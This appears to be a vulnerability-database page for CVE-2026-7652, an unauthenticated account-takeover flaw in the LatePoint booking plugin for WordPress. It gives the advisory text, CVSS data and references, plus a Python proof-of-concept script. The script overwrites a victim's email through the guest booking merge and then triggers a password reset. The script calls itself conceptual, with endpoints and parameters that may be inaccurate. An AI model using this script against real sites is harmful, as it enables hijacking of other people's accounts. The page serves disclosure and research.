Security Vulnerability Report
中文
CVE-2026-7652 CVSS 5.3 MEDIUM

CVE-2026-7652

Published: 2026-05-09 03:16:15
Last Modified: 2026-05-11 15:11:49

Description

The LatePoint plugin for WordPress is vulnerable to Account Takeover via Weak Password Recovery Mechanism in the unauthenticated guest booking flow in versions up to, and including, 5.5.0 This is due to the save_connected_wordpress_user() function propagating a LatePoint customer's email address to its linked WordPress user account via wp_update_user() without any ownership verification, combined with the guest booking flow's ability to overwrite an existing customer's email through phone-based merge without authentication. This makes it possible for unauthenticated attackers to overwrite the email address of a non-super-admin WordPress user account that is not yet linked to a LatePoint customer, enabling full account takeover by subsequently triggering the standard WordPress password-reset flow to the attacker-controlled address granted the plugin is configured with WordPress user integration enabled, phone-based contact merging, and customer authentication disabled. Administrator accounts on single-site installs are not affected.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LatePoint <= 5.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Concept for CVE-2026-7652 # Note: This is a conceptual demonstration based on the vulnerability description. # Actual endpoints and parameters depend on the specific plugin configuration. target_url = "http://target-wordpress-site.com" victim_phone = "1234567890" # Victim's known phone number attacker_email = "[email protected]" # Step 1: Trigger the guest booking flow with phone merge # This simulates the unauthenticated booking process that links the phone number to the attacker's email booking_payload = { "action": "latepoint_booking", "customer_phone": victim_phone, "customer_email": attacker_email, "booking_step": "confirm" # Step that triggers the merge/save } try: print(f"[*] Attempting to merge customer record for phone {victim_phone} with email {attacker_email}...") response = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=booking_payload) if response.status_code == 200: print("[+] Booking request sent. Check if email was propagated.") # Step 2: Trigger WordPress Password Reset # The attacker now initiates a password reset for the victim's username (if known) or relies on the email change reset_payload = { "action": "lostpassword", "user_login": victim_phone, # Or username, depending on WP config "redirect_to": "" } print(f"[*] Triggering password reset to {attacker_email}...") reset_resp = requests.post(f"{target_url}/wp-login.php?action=lostpassword", data=reset_payload) if reset_resp.status_code == 200: print("[+] Password reset requested. If successful, check attacker email for reset link.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7652", "sourceIdentifier": "[email protected]", "published": "2026-05-09T03:16:15.117", "lastModified": "2026-05-11T15:11:48.807", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LatePoint plugin for WordPress is vulnerable to Account Takeover via Weak Password Recovery Mechanism in the unauthenticated guest booking flow in versions up to, and including, 5.5.0 This is due to the save_connected_wordpress_user() function propagating a LatePoint customer's email address to its linked WordPress user account via wp_update_user() without any ownership verification, combined with the guest booking flow's ability to overwrite an existing customer's email through phone-based merge without authentication. This makes it possible for unauthenticated attackers to overwrite the email address of a non-super-admin WordPress user account that is not yet linked to a LatePoint customer, enabling full account takeover by subsequently triggering the standard WordPress password-reset flow to the attacker-controlled address granted the plugin is configured with WordPress user integration enabled, phone-based contact merging, and customer authentication disabled. Administrator accounts on single-site installs are not affected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-640"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.4.2/latepoint.php#L1165", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.4.2/lib/helpers/customer_helper.php#L238", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.4.2/lib/helpers/steps_helper.php#L1940", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.4.2/lib/helpers/steps_helper.php#L1972", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.5.0/latepoint.php#L1165", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.5.0/lib/helpers/customer_helper.php#L238", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.5.0/lib/helpers/steps_helper.php#L1940", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.5.0/lib/helpers/steps_helper.php#L1972", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/latepoint.php#L1165", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/helpers/customer_helper.php#L238", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/helpers/steps_helper.php#L1940", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/helpers/steps_helper.php#L1972", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3522933/latepoint/trunk/latepoint.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Flatepoint/tags/5.5.0&new_path=%2Flatepoint/tags/5.5.1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bdaa32cd-a148-4554-9fd5-f5b0a5b2d1c3?source=cve", "source": "[email protected]"}]}}